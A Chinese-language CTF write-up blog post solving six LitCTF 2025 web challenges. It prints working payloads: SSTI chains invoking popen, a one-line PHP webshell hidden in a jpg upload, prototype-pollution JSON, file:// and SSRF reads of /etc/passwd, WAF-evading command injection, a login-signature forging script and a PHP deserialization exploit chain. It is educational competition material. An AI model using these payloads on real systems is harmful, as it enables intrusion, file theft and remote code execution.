LitCTF-2025-web

[LitCTF 2025]星愿信箱

猜测是SSTI,测试需要输入文字

1
{{6*6}}

image-20250526182801341

加上个文字,存在waf,过滤了{{}}

1
{{6*6}}

image-20250526182911408

使用{%%}替代

1
我 {% print(6*6) %}

image-20250526183052463

这里发现似乎不需要输入文字也可以

1
{% print(6*6) %}

image-20250526184358807

确实是SSTI,测试后发现过滤了catflag,可以进行编码绕过,也可以用nl /*替代,其他的似乎没啥过滤了,打SSTI

1
2
3
4
5
6
7
8
9
10
11
12
# 遍历所有object子类
{% for i in ''.__class__.__base__.__subclasses__() %}

# 找到名为_wrap_close的内部类
{% if i.__name__ =='_wrap_close' %}

# 执行命令并打印出结果
{% print i.__init__.__globals__['popen']('nl /*').read() %}

# 闭合if和for语句
{% endif %}
{% endfor %}

完整paylaod

1
{% for i in ''.__class__.__base__.__subclasses__() %}{% if i.__name__ =='_wrap_close' %}{% print i.__init__.__globals__['popen']('ls /').read() %}{% endif %}{% endfor %}

image-20250526184421368

1
{% for i in ''.__class__.__base__.__subclasses__() %}{% if i.__name__ =='_wrap_close' %}{% print i.__init__.__globals__['popen']('nl /*').read() %}{% endif %}{% endfor %}

image-20250526184439068

简单一点也可以利用lipsum__globals__os模块得到popen函数,从而执行命令

1
{% print lipsum.__globals__.os.popen('nl /*').read() %}

image-20250526184451536

[LitCTF 2025]nest_js

打开是一个登录界面

image-20250526184659736

利用bp的Intruder爆破用户名和密码

image-20250526184958418

用户名猜是admin,密码爆出来是password,登录就是flag

image-20250526185055087

[LitCTF 2025]easy_file

打开一个登录界面

image-20250526185211495

在源码中有个提示,得到个参数file

image-20250526185948345

和上一题一样用bp爆密码,用户名猜是admin

image-20250526185400479

抓包发现会进行一次base64加密,在payload加入base64编码

image-20250526185512810

image-20250526185527152

image-20250526185540910

可以得到有个响应包是302状态码

image-20250526185640982

base64解码得到密码是password

image-20250526185839029

登录后是文件上传页面,可以利用之前的file参数,可以包含上传的文件

测试后发现只能上传jpg图片

image-20250526190333218

并且会检测上传的内容

image-20250526190318794

绕过一下,直接上传一个jpg图片

1
<?= system($_GET[1]);?>

image-20250526190952321

1
http://node6.anna.nssctf.cn:22572/admin.php?file=uploads/a.jpg&1=ls

image-20250526191118775

1
http://node6.anna.nssctf.cn:22572/admin.php?file=uploads/a.jpg&1=cat%20flllag.php

image-20250526191054184

[LitCTF 2025]多重宇宙日记

题目提示打原型链

image-20250526203601111

image-20250526205511513

先注册一个账户登录,会来到/api/profile

image-20250526205455059

查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<script>
// 更新表单的JS提交
document.getElementById('profileUpdateForm').addEventListener('submit', async function(event) {
event.preventDefault();
const statusEl = document.getElementById('updateStatus');
const currentSettingsEl = document.getElementById('currentSettings');
statusEl.textContent = '正在更新...';

const formData = new FormData(event.target);
const settingsPayload = {};
// 构建 settings 对象,只包含有值的字段
if (formData.get('theme')) settingsPayload.theme = formData.get('theme');
if (formData.get('language')) settingsPayload.language = formData.get('language');
// ...可以添加其他字段

try {
const response = await fetch('/api/profile/update', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ settings: settingsPayload }) // 包装在 "settings"键下
});
const result = await response.json();
if (response.ok) {
statusEl.textContent = '成功: ' + result.message;
currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
// 刷新页面以更新导航栏(如果isAdmin状态改变)
setTimeout(() => window.location.reload(), 1000);
} else {
statusEl.textContent = '错误: ' + result.message;
}
} catch (error) {
statusEl.textContent = '请求失败: ' + error.toString();
}
});

// 发送原始JSON的函数
async function sendRawJson() {
const rawJson = document.getElementById('rawJsonSettings').value;
const statusEl = document.getElementById('rawJsonStatus');
const currentSettingsEl = document.getElementById('currentSettings');
statusEl.textContent = '正在发送...';
try {
const parsedJson = JSON.parse(rawJson); // 确保是合法的JSON
const response = await fetch('/api/profile/update', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(parsedJson) // 直接发送用户输入的JSON
});
const result = await response.json();
if (response.ok) {
statusEl.textContent = '成功: ' + result.message;
currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
// 刷新页面以更新导航栏(如果isAdmin状态改变)
setTimeout(() => window.location.reload(), 1000);
} else {
statusEl.textContent = '错误: ' + result.message;
}
} catch (error) {
statusEl.textContent = '请求失败或JSON无效: ' + error.toString();
}
}
</script>

可以发现参数isAdmin,应用会根据这个参数判断用户是否为admin,可以在这里打JavaScript的原型污染

JavaScript中,可以通过 __proto__ 属性访问其原型(prototype),如果向对象中添加 __proto__ 字段,会修改该对象的原型链,影响所有继承自该原型的对象

可以先点更新设置,抓包获得格式

image-20250526205417936

1
{"settings":{"theme":"a","language":"a"}}

可以利用__proto__属性污染 settings 对象的原型

1
{"settings":{"theme":"a","language":"a","__proto__":{"isAdmin":true}}}

污染根对象的原型

1
{"settings":{"theme":"a","language":"a","__proto__":{"isAdmin":true}},"__proto__":{"isAdmin":true}}

发送请求

image-20250526205607968

然后在刷新一下页面就会看到一个管理员面板

image-20250526205633190

点进去得到flag

image-20250526205651887

[LitCTF 2025]easy_signin

打开题目发现403

image-20250526212300593

dirsearch扫目录

image-20250526212232702

访问/login.html

image-20250526215821767

解法一

查看源码,发现有个api.js文件

image-20250526224944908

访问得到提示/api/sys/urlcode.php?url=

image-20250526224954803

测试发现可以利用file伪协议进行任意文件读取

1
http://node6.anna.nssctf.cn:23038/api/sys/urlcode.php?url=file:///etc/passwd

image-20250526225121284

尝试读取本页面的源码

1
http://node6.anna.nssctf.cn:23038/api/sys/urlcode.php?url=file:///var/www/html/api/sys/urlcode.php

image-20250526225324561

得到327a6c4304ad5938eaf0efb6cc3e53dc.php,访问就是flag

image-20250526225357846

解法二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<script>
const loginBtn = document.getElementById('loginBtn');
const passwordInput = document.getElementById('password');
const errorTip = document.getElementById('errorTip');
const rawUsername = document.getElementById('username').value;


loginBtn.addEventListener('click', async () => {
const rawPassword = passwordInput.value.trim();
if (!rawPassword) {
errorTip.textContent = '请输入密码';
errorTip.classList.add('show');
passwordInput.focus();
return;
}

const md5Username = CryptoJS.MD5(rawUsername).toString();
const md5Password = CryptoJS.MD5(rawPassword).toString();


const shortMd5User = md5Username.slice(0, 6);
const shortMd5Pass = md5Password.slice(0, 6);


const timestamp = Date.now().toString(); //五分钟


const secretKey = 'easy_signin';
const sign = CryptoJS.MD5(shortMd5User + shortMd5Pass + timestamp + secretKey).toString();

try {
const response = await fetch('login.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Sign': sign
},
body: new URLSearchParams({
username: md5Username,
password: md5Password,
timestamp: timestamp
})
});

const result = await response.json();
if (result.code === 200) {
alert('登录成功!');
window.location.href = 'dashboard.php';
} else {
errorTip.textContent = result.msg;
errorTip.classList.add('show');
passwordInput.value = '';
passwordInput.focus();
setTimeout(() => errorTip.classList.remove('show'), 3000);
}
} catch (error) {
errorTip.textContent = '网络请求失败';
errorTip.classList.add('show');
setTimeout(() => errorTip.classList.remove('show'), 3000);
}
});

passwordInput.addEventListener('input', () => {
errorTip.classList.remove('show');
});
</script>

会对用户名和密码进行MD5加密,取前六位作为短哈希值,使用时间戳、短哈希值和固定密钥生成签名,作为请求头X-Sign

利用脚本构造用户名、密码和请求头X-Sign,发送请求,可以尝试出用户名为admin弱密码为admin123

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import hashlib
import time
import requests

# 目标地址
url = "http://node6.anna.nssctf.cn:23038/login.php"

# 固定信息
username = "admin"
password = "admin123"
secret_key = "easy_signin"

# 当前时间戳(单位:毫秒)
timestamp = str(int(time.time() * 1000))

# 加密处理
md5_username = hashlib.md5(username.encode()).hexdigest()
md5_password = hashlib.md5(password.encode()).hexdigest()

short_md5_user = md5_username[:6]
short_md5_pass = md5_password[:6]

sign_raw = short_md5_user + short_md5_pass + timestamp + secret_key
sign = hashlib.md5(sign_raw.encode()).hexdigest()

# 构造请求头和数据
headers = {
"X-Sign": sign
}

data = {
"username": md5_username,
"password": md5_password,
"timestamp": timestamp
}

# 发起请求
response = requests.post(url, headers=headers, data=data)

try:
print("[用户名]:", md5_username)
print("[密码:]", md5_password)
print("[签名:]", sign)
print("[时间戳:]", timestamp)
print("[响应状态码]:", response.status_code)
print("[响应内容]:", response.text)
except Exception as e:
print("[错误]:", e)

image-20250526232107727

1
2
3
4
5
6
[用户名]: 21232f297a57a5a743894a0e4a801fc3
[密码:] 0192023a7bbd73250516f069df18b500
[签名:] 52bff74515ab8df5d14e00aef5bc8e7c
[时间戳:] 1748272837039
[响应状态码]: 200
[响应内容]: {"code":200,"msg":"\u767b\u5f55\u6210\u529f,\u60a8\u5df2\u83b7\u5f97\u8bb8\u53ef!"}

利用bp抓包修改,发送请求

image-20250526232339862

登录成功,复制到代理界面放包,浏览器查看

image-20250526232442810

跳转到/dashboard.php,得到提示/var/www/html/backup/8e0132966053d4bf8b2dbe4ede25502b.php

image-20250526232512932

访问得到的路径,不过访问不到

image-20250526232721833

可以利用之前在api.js中得到的提示访问

1
http://node6.anna.nssctf.cn:23038/api/sys/urlcode.php?url=/var/www/html/backup/8e0132966053d4bf8b2dbe4ede25502b.php

image-20250526232839067

不过报错不是本地用户,可以利用SSRF,带上http://127.0.0.1/

1
http://node6.anna.nssctf.cn:23038/api/sys/urlcode.php?url=http://127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php

image-20250527000644573

也可以利用file伪协议读

1
http://node6.anna.nssctf.cn:23038/api/sys/urlcode.php?url=file:///var/www/html/backup/8e0132966053d4bf8b2dbe4ede25502b.php

image-20250526233523036

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
highlight_file(__FILE__);

$name="waf";
$name = $_GET['name'];


if (preg_match('/\b(nc|bash|sh)\b/i', $name)) {
echo "waf!!";
exit;
}


if (preg_match('/more|less|head|sort/', $name)) {
echo "waf";
exit;
}


if (preg_match('/tail|sed|cut|awk|strings|od|ping/', $name)) {
echo "waf!";
exit;
}

exec($name, $output, $return_var);
echo "执行结果:\n";
print_r($output);
echo "\n返回码:$return_var";
} else {
echo("非本地用户");
}

?>

GET传参name,存在waf,空格使用${IFS}绕过,最后可以在上一级目录找到flag文件327a6c4304ad5938eaf0efb6cc3e53dc.php

1
http://node6.anna.nssctf.cn:23038/api/sys/urlcode.php?url=http://127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php?name=ls${IFS}../

image-20250527001231482

利用cat读不到flag

1
http://node6.anna.nssctf.cn:23038/api/sys/urlcode.php?url=http://127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php?name=cat${IFS}../327a6c4304ad5938eaf0efb6cc3e53dc.php

image-20250527001335579

直接访问得到flag

1
http://node6.anna.nssctf.cn:23038/327a6c4304ad5938eaf0efb6cc3e53dc.php

image-20250527001403081

[LitCTF 2025]君の名は

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
private $musubi;
private $magic;
public function __unserialize(array $data)
{
$this->musubi = $data['musubi'];
$this->magic = $data['magic'];
return ($this->musubi)();
}
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}
}

class Mitsuha
{
private $memory;
private $thread;
public function __invoke()
{
return $this->memory.$this->thread;
}
}

class KatawareDoki
{
private $soul;
private $kuchikamizake;
private $name;

public function __toString()
{
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}
}

$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
unserialize($Litctf2025);
}else{
echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}

Taki类:

  • __unserialize():在对象反序列化时被调用,会执行$this->musubi方法
  • __call():当调用不存在的方法时触发,会实例化$args[0]类并调用其$this->magic方法

Mitsuha 类

  • __invoke():当对象被当作函数调用时触发,返回$this->memory.$this->thread的拼接结果

KatawareDoki 类

  • __toString():当对象被当作字符串使用时触发,会调用$this->soulflag()方法
1
create_function("", 'die(`/readflag`);');

这个代码是使用create_function创建了一个匿名函数,会执行系统命令/readflag,可以通过反序列化触发这个函数,就可以得到flag

1
(new $args[0]($args[1]))->{$this->magic}();

可以利用这段代码触发create_function匿名函数获取flag

1
create_function("", 'die(`/readflag`);');

需要满足两个条件

  • 找到匿名函数的名字
  • 找到一个可以调用匿名函数的原生类

可以在本地运行代码获得匿名函数名

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
error_reporting(0);
$a = create_function("",'die(`/readflag`);');
print_r($a);
?>

但是每次访问或刷新页面后,函数名后的数字会加一,从lambda_1开始

image-20250527191555779

image-20250527191609266

然后是找一个可以调用匿名函数的原生类,可以搜到ReflectionFunctioninvoke方法可以调用已定义的函数或匿名函数

image-20250529125359558

ReflectionFunction的参数是要调用的函数名,invoke的参数是被调函数的参数

调用普通函数

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
// 定义一个普通函数
function add($a, $b) {
return $a + $b;
}

// 使用 ReflectionFunction 反射该函数
$reflection = new ReflectionFunction('add');

// 通过 invoke() 调用函数
$result = $reflection->invoke(3, 5);
echo $result; // 输出: 8
?>

image-20250529125207165

调用匿名函数

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
// 定义一个匿名函数并赋值给变量
$multiply = function($a, $b) {
return $a * $b;
};

// 使用 ReflectionFunction 反射匿名函数
$reflection = new ReflectionFunction($multiply);

// 通过 invoke() 调用匿名函数
$result = $reflection->invoke(4, 6);
echo $result; // 输出: 24
?>

image-20250529125307573

ReflectionFunction的参数是要调用的函数名,invoke的参数是被调函数的参数

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php

class Taki
{
// 用于触发Mitsuha中的__invoke()方法
public $musubi;
// 调用原生类的invoke()方法
public $magic = "invoke";
}

class Mitsuha
{
// 在__invoke()方法中两个属性拼接后作为字符串返回,触发__toString()方法
public $memory;
public $thread;
}

class KatawareDoki
{
// 用于触发__call()
public $soul;
// 可以调用匿名函数的原生类
public $kuchikamizake = "ReflectionFunction";
// 由create_function()生成的匿名函数名
public $name = "\000lambda_1";
}

// 实例化对象
$a = new Taki();
$b = new Mitsuha();
$c = new KatawareDoki();
// 把对象当成函数调用,触发__invoke()
$a->musubi = $b;
// 把对象作为字符串使用,触发__toString()
$b->thread = $c;
// 调用不存在的方法,触发__call()
$c->soul = $a;

/*
* 在 KatawareDoki::__toString() 中:
* ($this->soul)->flag($this->kuchikamizake, $this->name);
* 等价于:
* $a->flag("ReflectionFunction", "\000lambda_1");
*/

// 使用ArrayObject封装对象
// 因为正则表达式不允许O:和a:开头的
// 经过ArrayObject序列化后以C:开头(表示 “可克隆对象”),
$arr=array("evil"=>$a);
$d=new ArrayObject($arr);
echo urlencode(serialize($d));

LitCTF-2025-web
https://yschen20.github.io/2025/05/30/LitCTF-2025-web/
作者
Suzen
发布于
2025年5月30日
更新于
2025年6月10日
许可协议